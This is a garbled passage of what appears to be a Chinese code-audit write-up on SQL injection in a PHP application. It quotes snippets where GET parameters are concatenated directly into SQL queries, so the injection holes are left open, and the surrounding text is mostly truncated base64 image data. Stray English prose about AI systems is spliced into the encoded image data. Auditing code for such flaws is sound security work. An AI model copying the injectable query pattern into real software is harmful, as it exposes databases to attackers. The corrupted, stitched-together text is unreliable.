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5wvC5VJ6IiIiIiMg55IJOYqFoIpuSkoJhGNStW/cst0pERERERERKc0EPJ7aXkJCA1WolNDQUPz+/EvurYzixiIiIiIiIOOaC74ktZLVaS8yDFRERERERkXPLBfec2PIogRURERERETm3KYkVERERERGRGkNJrIiIiIiIiNQYSmJFRERERESkxlASKyIiIiIiIjWGklgRERERERGpMZTEioiIiIiISI2hJFZERERERERqDCWxIiIiIiIiUmMoiZVqYWYdZP3aODLNs90SOV1m6g5WbzlMjq6liIiIiJwDlMRWkmnayMk7260495hmBju+m8C1baK55IUVZJztBpUhc+sjhD/bhVf2KzM7peTFjO3UkM5DXmDJvpyz3RoRERERucA5lMSappX0A1tZ/edvLF2ylN/+WsuOI5lYzQsrETDNdGaP/gm/3sv5YFf11hU7cykeXX44+dNrLSuq4XSbf6zBr/PvfHToNMows4n9aARX3DaPwAe+Z/3M4QQaRWP+WtgKn5fGstKErI334fNsV15LPL22O97OdBavm8vROiO4ob5Rfuy2Rwl49lpmppzctnFpD3wmT+K/M3zbV0e9FboeDe5iztovGWadyeB+I5m7R9/eiIiIiMjZ4+xIcN6RLfy3PgnP8CiaRrmQdSSOnWvWYHS+iGjf8pOB84sFd3dnfD2cca/mvuywy1rzS8v8pCFxyQLine truncated
同时juese.php也存在类似问题</p>
<div class=highlight><pre><span></span><span class=x>$sql="SELECT * FROM ".$db-&gt;tablename('juese') ." WHERE id&gt;0";</span>
<span class=x>if($key!=''){</span>
<span class=x>$sql=$sql." and juese like '%$key%'";</span>
<span class=x>}</span>
<span class=x>$sql=$sql." ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;</span>
<span class=x> $list =$db-&gt;fetchall($sql);</span>
</pre></div>
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095022-3e96904e-cec9-1.png title><img src="data:image/png;base64,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 truncated
<a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095030-43090b5c-cec9-1.png title><img src="data:image/png;base64,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 truncated
<div class=highlight><pre><span></span><span class=x>switch ($_GET['action']) {</span>
<span class=x> case 'zidian':</span>
<span class=x> $zidian=$_GET['fenlei'];//获取id</span>
<span class=x> $sql="SELECT * FROM ".$db-&gt;tablename('vxiangmu') ." WHERE zidian='$zidian'";</span>
<span class=x> $list =$db-&gt;fetchall($sql);</span>
</pre></div>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095053-50cd5c66-cec9-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABcIAAAJ0CAYAAAAxulAyAAEAAElEQVR4nOz9b3AUZ74nen5x+xybwoxMq5O5sH3zGhvGOYZQMSMNqozri1RrR2+VAl88ESrD8oKicMSu+LNNL7ozEg4rCALHsXghYu2gQRG7RhYvHCjEzrYGRtKcbYcE49mSvGhvSwZP+mKMJ+ccdJqUDdxzKdtzbLQv5CfJrMoqZWZllUri+4lwdFPKynryySeffPKXT/5y2R//+MfZn376CT/++CP+9m//FocPHwYRERERERERERER0VLxxEIXgIiIiIiIiIiIiIiolBgIJyIiIiIiIiIiIqIljYFwIiIiIiIiIiIiIlrSnpidncXDhw8XuhxERERERERERERERCXx5EIXgKiSxWIxNDY24tlnn8X09DSOHTu20EUqqLu7GwAwPT2Nvr4+aJq2wCUiIiIiIiIiIiJaeAyEEzmQJAmtra2IRCILXRRPFEUx/zcajaK3txc9PT0LXCoiIiIiIiIiIqKFVVQgvK2tDfF4POdzXddx/fp1nD17FoZhFPMTS4KqqqiqqsLExMRjUR+iXbS0tEDTNMRiMbS3t+PChQs4deqUbVlJkrBt2zZEo1HIsgwA6OzsxPDw8EIU3SSC4JlMBv39/Y7B5O7ubiiKgqGhIZw4ccLxb9ZtEZ9lMwwDV69ezTleRL0V0tjYmPNvSZKwd+9exONxJJNJAGAwnIiIiIiIiIiIHmuBzAg3DAPffPMNACAUCkGWZciyjI0bN6K1tfWxCP4Wkkwmc4KiS9m6desAwEzLEQ6HAQBffvmlbTlVVfHuu++Wt3AuxGIxMwh+/PhxpNPpQNdvPV6Audnb8XgcGzduxO7du83P79+/b9ahOK4ymQx0XZ93/SdOnMCdO3eQTCaRSCRw6dKlx/44JCIiIiIiIiKix1cggfCrV6/aZsQqioK33noLsixj7969ObNliQCgqqoKmUwGU1NTGBgYMG8YuKEoCrZv3w4Agbcv8ZTD5cuXAw+CA7nHi6qq6OjogCzLSKVS5uztdDpt/r6YHa7rOlpaWlz9Tk9PD+rr66EoCnbs2JEzG5+IiIiIiIiIiOhxUZIc4Zqm4eLFizhw4AA2btxYip+gCiRe1ChSnIh/V1dXAwB27dqF+vp684WTExMTaGpqMr8v0ni4FY/H550d7YeYwT4wMBD4up2k02mMj48jGo1i9erVga57fHwciqJg06ZNga6XiIiIiIiIiIhoMSnZyzI/++wzAI+CosJ7771nBhpFmofx8fGCOZiBubzju3fvxtGjR1FfX49QKARd13H